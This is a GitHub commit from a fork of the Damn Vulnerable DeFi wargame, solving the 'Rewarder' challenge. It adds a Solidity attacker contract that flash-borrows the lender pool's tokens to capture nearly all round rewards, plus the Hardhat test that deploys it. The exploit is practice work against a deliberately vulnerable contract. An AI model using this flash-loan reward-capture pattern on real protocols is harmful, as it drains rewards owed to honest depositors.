forked from theredguild/damn-vulnerable-defi
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
theredguild#5 - rewarder pool completed
- Loading branch information
Showing
2 changed files
with
198 additions
and
99 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import "../DamnValuableToken.sol"; | ||
import "./FlashLoanerPool.sol"; | ||
import "./TheRewarderPool.sol"; | ||
import "hardhat/console.sol"; | ||
|
||
/** | ||
* @title RewardedAttacker | ||
* @author Jonatas Campos Martins | ||
* @dev The main idea of this contract is to use the flash load to borrow some tokens, deposit them in * the pool and then get the most of rewards from the pool | ||
*/ | ||
contract RewardedAttacker { | ||
DamnValuableToken private liquidityToken; | ||
FlashLoanerPool private flashLoanPool; | ||
TheRewarderPool private rewarderPool; | ||
RewardToken private rewardToken; | ||
|
||
receive() external payable {} | ||
|
||
constructor( | ||
address _tokenAddress, | ||
address _rewardToken, | ||
address _flashLoanPool, | ||
address _rewarderPool | ||
) { | ||
liquidityToken = DamnValuableToken(_tokenAddress); | ||
flashLoanPool = FlashLoanerPool(_flashLoanPool); | ||
rewarderPool = TheRewarderPool(_rewarderPool); | ||
rewardToken = RewardToken(_rewardToken); | ||
} | ||
|
||
function attackRewardedPool() external { | ||
uint256 balancePool = liquidityToken.balanceOf(address(flashLoanPool)); | ||
flashLoanPool.flashLoan(balancePool); | ||
|
||
//Transfer the rewarded token to attacker | ||
uint256 rewardBalance = rewardToken.balanceOf(address(this)); | ||
rewardToken.transfer(address(msg.sender), rewardBalance); | ||
} | ||
|
||
function receiveFlashLoan(uint256 _amount) external { | ||
liquidityToken.approve(address(rewarderPool), _amount); | ||
rewarderPool.deposit(_amount); | ||
rewarderPool.distributeRewards(); | ||
rewarderPool.withdraw(_amount); | ||
liquidityToken.transfer(address(flashLoanPool), _amount); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,100 +1,149 @@ | ||
const { ethers } = require('hardhat'); | ||
const { expect } = require('chai'); | ||
|
||
describe('[Challenge] The rewarder', function () { | ||
|
||
let deployer, alice, bob, charlie, david, attacker; | ||
let users; | ||
|
||
const TOKENS_IN_LENDER_POOL = ethers.utils.parseEther('1000000'); // 1 million tokens | ||
|
||
before(async function () { | ||
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ | ||
|
||
[deployer, alice, bob, charlie, david, attacker] = await ethers.getSigners(); | ||
users = [alice, bob, charlie, david]; | ||
|
||
const FlashLoanerPoolFactory = await ethers.getContractFactory('FlashLoanerPool', deployer); | ||
const TheRewarderPoolFactory = await ethers.getContractFactory('TheRewarderPool', deployer); | ||
const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer); | ||
const RewardTokenFactory = await ethers.getContractFactory('RewardToken', deployer); | ||
const AccountingTokenFactory = await ethers.getContractFactory('AccountingToken', deployer); | ||
|
||
this.liquidityToken = await DamnValuableTokenFactory.deploy(); | ||
this.flashLoanPool = await FlashLoanerPoolFactory.deploy(this.liquidityToken.address); | ||
|
||
// Set initial token balance of the pool offering flash loans | ||
await this.liquidityToken.transfer(this.flashLoanPool.address, TOKENS_IN_LENDER_POOL); | ||
|
||
this.rewarderPool = await TheRewarderPoolFactory.deploy(this.liquidityToken.address); | ||
this.rewardToken = await RewardTokenFactory.attach(await this.rewarderPool.rewardToken()); | ||
this.accountingToken = await AccountingTokenFactory.attach(await this.rewarderPool.accToken()); | ||
|
||
// Alice, Bob, Charlie and David deposit 100 tokens each | ||
for (let i = 0; i < users.length; i++) { | ||
const amount = ethers.utils.parseEther('100'); | ||
await this.liquidityToken.transfer(users[i].address, amount); | ||
await this.liquidityToken.connect(users[i]).approve(this.rewarderPool.address, amount); | ||
await this.rewarderPool.connect(users[i]).deposit(amount); | ||
expect( | ||
await this.accountingToken.balanceOf(users[i].address) | ||
).to.be.eq(amount); | ||
} | ||
expect(await this.accountingToken.totalSupply()).to.be.eq(ethers.utils.parseEther('400')); | ||
expect(await this.rewardToken.totalSupply()).to.be.eq('0'); | ||
|
||
// Advance time 5 days so that depositors can get rewards | ||
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days | ||
|
||
// Each depositor gets 25 reward tokens | ||
for (let i = 0; i < users.length; i++) { | ||
await this.rewarderPool.connect(users[i]).distributeRewards(); | ||
expect( | ||
await this.rewardToken.balanceOf(users[i].address) | ||
).to.be.eq(ethers.utils.parseEther('25')); | ||
} | ||
expect(await this.rewardToken.totalSupply()).to.be.eq(ethers.utils.parseEther('100')); | ||
|
||
// Attacker starts with zero DVT tokens in balance | ||
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq('0'); | ||
|
||
// Two rounds should have occurred so far | ||
expect( | ||
await this.rewarderPool.roundNumber() | ||
).to.be.eq('2'); | ||
}); | ||
|
||
it('Exploit', async function () { | ||
/** CODE YOUR EXPLOIT HERE */ | ||
}); | ||
|
||
after(async function () { | ||
/** SUCCESS CONDITIONS */ | ||
|
||
// Only one round should have taken place | ||
expect( | ||
await this.rewarderPool.roundNumber() | ||
).to.be.eq('3'); | ||
|
||
// Users should get neglegible rewards this round | ||
for (let i = 0; i < users.length; i++) { | ||
await this.rewarderPool.connect(users[i]).distributeRewards(); | ||
let rewards = await this.rewardToken.balanceOf(users[i].address); | ||
|
||
// The difference between current and previous rewards balance should be lower than 0.01 tokens | ||
let delta = rewards.sub(ethers.utils.parseEther('25')); | ||
expect(delta).to.be.lt(ethers.utils.parseUnits('1', 16)) | ||
} | ||
|
||
// Rewards must have been issued to the attacker account | ||
expect(await this.rewardToken.totalSupply()).to.be.gt(ethers.utils.parseEther('100')); | ||
let rewards = await this.rewardToken.balanceOf(attacker.address); | ||
|
||
// The amount of rewards earned should be really close to 100 tokens | ||
let delta = ethers.utils.parseEther('100').sub(rewards); | ||
expect(delta).to.be.lt(ethers.utils.parseUnits('1', 17)); | ||
|
||
// Attacker finishes with zero DVT tokens in balance | ||
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq('0'); | ||
}); | ||
const { ethers } = require("hardhat"); | ||
const { expect } = require("chai"); | ||
|
||
describe("[Challenge] The rewarder", function () { | ||
let deployer, alice, bob, charlie, david, attacker; | ||
let users; | ||
|
||
const TOKENS_IN_LENDER_POOL = ethers.utils.parseEther("1000000"); // 1 million tokens | ||
|
||
before(async function () { | ||
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ | ||
|
||
[deployer, alice, bob, charlie, david, attacker] = | ||
await ethers.getSigners(); | ||
users = [alice, bob, charlie, david]; | ||
|
||
const FlashLoanerPoolFactory = await ethers.getContractFactory( | ||
"FlashLoanerPool", | ||
deployer | ||
); | ||
const TheRewarderPoolFactory = await ethers.getContractFactory( | ||
"TheRewarderPool", | ||
deployer | ||
); | ||
const DamnValuableTokenFactory = await ethers.getContractFactory( | ||
"DamnValuableToken", | ||
deployer | ||
); | ||
const RewardTokenFactory = await ethers.getContractFactory( | ||
"RewardToken", | ||
deployer | ||
); | ||
const AccountingTokenFactory = await ethers.getContractFactory( | ||
"AccountingToken", | ||
deployer | ||
); | ||
|
||
this.liquidityToken = await DamnValuableTokenFactory.deploy(); | ||
this.flashLoanPool = await FlashLoanerPoolFactory.deploy( | ||
this.liquidityToken.address | ||
); | ||
|
||
// Set initial token balance of the pool offering flash loans | ||
await this.liquidityToken.transfer( | ||
this.flashLoanPool.address, | ||
TOKENS_IN_LENDER_POOL | ||
); | ||
|
||
this.rewarderPool = await TheRewarderPoolFactory.deploy( | ||
this.liquidityToken.address | ||
); | ||
this.rewardToken = await RewardTokenFactory.attach( | ||
await this.rewarderPool.rewardToken() | ||
); | ||
this.accountingToken = await AccountingTokenFactory.attach( | ||
await this.rewarderPool.accToken() | ||
); | ||
|
||
// Alice, Bob, Charlie and David deposit 100 tokens each | ||
for (let i = 0; i < users.length; i++) { | ||
const amount = ethers.utils.parseEther("100"); | ||
await this.liquidityToken.transfer(users[i].address, amount); | ||
await this.liquidityToken | ||
.connect(users[i]) | ||
.approve(this.rewarderPool.address, amount); | ||
await this.rewarderPool.connect(users[i]).deposit(amount); | ||
expect(await this.accountingToken.balanceOf(users[i].address)).to.be.eq( | ||
amount | ||
); | ||
} | ||
expect(await this.accountingToken.totalSupply()).to.be.eq( | ||
ethers.utils.parseEther("400") | ||
); | ||
expect(await this.rewardToken.totalSupply()).to.be.eq("0"); | ||
|
||
// Advance time 5 days so that depositors can get rewards | ||
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days | ||
|
||
// Each depositor gets 25 reward tokens | ||
for (let i = 0; i < users.length; i++) { | ||
await this.rewarderPool.connect(users[i]).distributeRewards(); | ||
expect(await this.rewardToken.balanceOf(users[i].address)).to.be.eq( | ||
ethers.utils.parseEther("25") | ||
); | ||
} | ||
expect(await this.rewardToken.totalSupply()).to.be.eq( | ||
ethers.utils.parseEther("100") | ||
); | ||
|
||
// Attacker starts with zero DVT tokens in balance | ||
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq("0"); | ||
|
||
// Two rounds should have occurred so far | ||
expect(await this.rewarderPool.roundNumber()).to.be.eq("2"); | ||
}); | ||
|
||
it("Exploit", async function () { | ||
/** CODE YOUR EXPLOIT HERE */ | ||
/** | ||
* Create a contract that attacks the rewarded pool getting most of the rewards to attacker, | ||
* use the flashloan to borrow token and then use them to claim the rewards | ||
*/ | ||
const RewardedAttackerFactory = await ethers.getContractFactory( | ||
"RewardedAttacker", | ||
attacker | ||
); | ||
|
||
const rewardedAttacker = await RewardedAttackerFactory.deploy( | ||
this.liquidityToken.address, | ||
this.rewardToken.address, | ||
this.flashLoanPool.address, | ||
this.rewarderPool.address | ||
); | ||
|
||
// Advance time 5 days so that depositors can get rewards | ||
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days | ||
await rewardedAttacker.connect(attacker).attackRewardedPool(); | ||
}); | ||
|
||
after(async function () { | ||
/** SUCCESS CONDITIONS */ | ||
|
||
// Only one round should have taken place | ||
expect(await this.rewarderPool.roundNumber()).to.be.eq("3"); | ||
|
||
// Users should get neglegible rewards this round | ||
for (let i = 0; i < users.length; i++) { | ||
await this.rewarderPool.connect(users[i]).distributeRewards(); | ||
let rewards = await this.rewardToken.balanceOf(users[i].address); | ||
|
||
// The difference between current and previous rewards balance should be lower than 0.01 tokens | ||
let delta = rewards.sub(ethers.utils.parseEther("25")); | ||
expect(delta).to.be.lt(ethers.utils.parseUnits("1", 16)); | ||
} | ||
|
||
// Rewards must have been issued to the attacker account | ||
expect(await this.rewardToken.totalSupply()).to.be.gt( | ||
ethers.utils.parseEther("100") | ||
); | ||
let rewards = await this.rewardToken.balanceOf(attacker.address); | ||
|
||
// The amount of rewards earned should be really close to 100 tokens | ||
let delta = ethers.utils.parseEther("100").sub(rewards); | ||
expect(delta).to.be.lt(ethers.utils.parseUnits("1", 17)); | ||
|
||
// Attacker finishes with zero DVT tokens in balance | ||
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq("0"); | ||
}); | ||
}); |